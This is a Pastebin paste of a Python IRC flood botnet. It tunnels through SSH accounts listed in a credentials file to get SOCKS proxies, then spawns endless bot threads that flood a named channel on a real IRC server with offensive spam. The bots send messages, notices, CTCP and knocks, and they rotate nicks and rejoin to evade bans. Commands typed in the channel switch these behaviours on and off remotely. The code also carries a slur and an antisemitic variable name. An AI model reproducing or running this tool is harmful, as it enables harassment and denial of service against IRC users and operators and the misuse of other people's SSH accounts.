Advertisement
Guest User

Untitled

a guest
May 11th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.96 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os
  3. import sys
  4. import socket
  5. import random
  6. import time
  7. import socks
  8. from threading import Thread
  9.  
  10. network = 'irc.buttes.org'
  11. port = 6667
  12. channel = '#stupid'
  13. message = 'ARRL SUCKS DICK irc.hardchats.com #gnaa'
  14. join = 1
  15. knock = 0
  16. joinpart = 1
  17. nickspam = 1
  18. chat = 1
  19. pmsg = 1
  20. ctcp = 1
  21. notice = 1
  22.  
  23. accounts = 'accounts.txt'
  24. baseport = 9050
  25. maxletters = 7
  26. alphabet = 'qwertyuiopasdfghjklzxcvbnm'
  27. acctfile = open(accounts,'r')
  28. lines=0
  29. ssh_pid = 0
  30. for line in acctfile:
  31.   ssh_data = line
  32.   ssh_exploded = ssh_data.split(',')
  33.   ssh_host = ssh_exploded[0]
  34.   ssh_user = ssh_exploded[1]
  35.   ssh_pass = ssh_exploded[2]
  36.   ssh_port = ssh_exploded[3]
  37.   ssh_pid = os.fork()
  38.   if not ssh_pid:
  39.     os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
  40.     break
  41.   else:
  42.     lines += 1
  43. if ssh_pid:
  44.   acctfile.close()
  45.  
  46. class bot(Thread):
  47.   def __init__ (self,seed):
  48.     Thread.__init__(self)
  49.     self.seed = seed
  50.  
  51.   def lrecv(self):
  52.     c, s = '', ''
  53.     while c != '\n':
  54.       c = self.irc.recv(1)
  55.       if c == '':  # connection closed
  56.         break
  57.       s += c
  58.     return s.strip('\r\n')
  59.  
  60.   def run(self):
  61.     global joinpart
  62.     global nickspam
  63.     global chat
  64.     global pmsg
  65.     global ctcp
  66.     global notice
  67.     global knock
  68.     global join
  69.     global message
  70.  
  71.     nick=''
  72.     self.joined=0
  73.     for x in random.sample(alphabet,random.randint(2,maxletters)):
  74.       nick+=x
  75.     self.irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
  76.     self.irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
  77.     self.irc.connect ( ( network, port ) )
  78.    
  79.     self.irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
  80.     self.irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
  81.     while 1:
  82.       line = self.lrecv()
  83.       if line.find ( '001' ) != -1:
  84.         break
  85.     self.irc.send ( 'JOIN ' + channel + '\r\n' )
  86.     self.spamcount = 0
  87.     while 1:
  88.       data=self.lrecv()
  89.       if data.find ( 'PING' ) != -1:
  90.         self.irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
  91.       if data.find ( '404' ) != -1:
  92.         self.joined = 0
  93.       if data.find ( '+i' ) != -1:
  94.         knock = 1
  95.       if knock == 1:
  96.         self.irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
  97.         time.sleep ( .5 )
  98.       if data.find ( 'newmsg ' ) != -1:
  99.         message = data.split() [ 1 ]
  100.       if data.find ( 'startnickspam' ) != -1:
  101.         join = 1
  102.         nickspam = 1
  103.       if data.find ( 'startjoinpart' ) != -1:
  104.         join = 1
  105.         joinpart = 1
  106.       if data.find ( 'stopnickspam' ) != -1:
  107.         nickspam = 0
  108.       if data.find ( 'stopjoinpart' ) != -1:
  109.         joinpart = 0
  110.       if data.find ( 'startchat' ) != -1:
  111.         chat = 1    
  112.       if data.find ( 'stopchat' ) != -1:
  113.         chat = 0
  114.       if data.find ( 'startpmsg' ) != -1:
  115.         chat = 1    
  116.         pmsg = 1
  117.       if data.find ( 'stoppmsg' ) != -1:
  118.         pmsg = 0
  119.       if data.find ( 'startctcp' ) != -1:
  120.         chat = 1    
  121.         ctcp = 1
  122.       if data.find ( 'stopctcp' ) != -1:
  123.         ctcp = 0
  124.       if data.find ( 'startnotice' ) != -1:
  125.         chat = 1    
  126.         notice = 1
  127.       if data.find ( 'stopnotice' ) != -1:
  128.         notice = 0
  129.       if data.find ( 'startknock' ) != -1:
  130.         knock = 1
  131.         join = 0
  132.       if data.find ( 'stopknock' ) != -1:
  133.         knock = 0
  134.         join = 1
  135.       if data.find ( 'startjoin' ) != -1:
  136.         join = 1
  137.         knock = 0
  138.       if data.find ( 'stopjoin' ) != -1:
  139.         join = 0
  140.         knock = 1
  141.       if self.joined == 0:
  142.         if join == 1:
  143.           self.irc.send ( 'JOIN ' + channel + '\r\n' )
  144.           self.joined = 1
  145.           time.sleep ( .5 )
  146.       if self.joined == 1:
  147.         knock = 0
  148.         self.spamcount += 1
  149.         if chat == 1:
  150.           loljews = random.randint(1,3)
  151.           if loljews == 1:
  152.             if pmsg == 1:
  153.               self.irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
  154.           if loljews == 2:
  155.             if notice == 1:
  156.               self.irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
  157.           if loljews == 3:
  158.             if ctcp == 1:
  159.               self.irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\r\n' )
  160.         if self.spamcount == 5:
  161.           if nickspam == 1:
  162.             nick=''
  163.             for x in random.sample(alphabet,random.randint(2,maxletters)):
  164.               nick+=x
  165.             self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
  166.           if joinpart == 1:    
  167.             self.irc.send ( 'PART ' + channel + '\r\n' )
  168.             self.joined = 0
  169.           self.spamcount = 0
  170.         time.sleep ( .5 )
  171.  
  172. def spawn():
  173.   while True:
  174.     bot_instance = bot(str(random.randint(1,9999)))
  175.     bot_instance.start()
  176.  
  177. spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement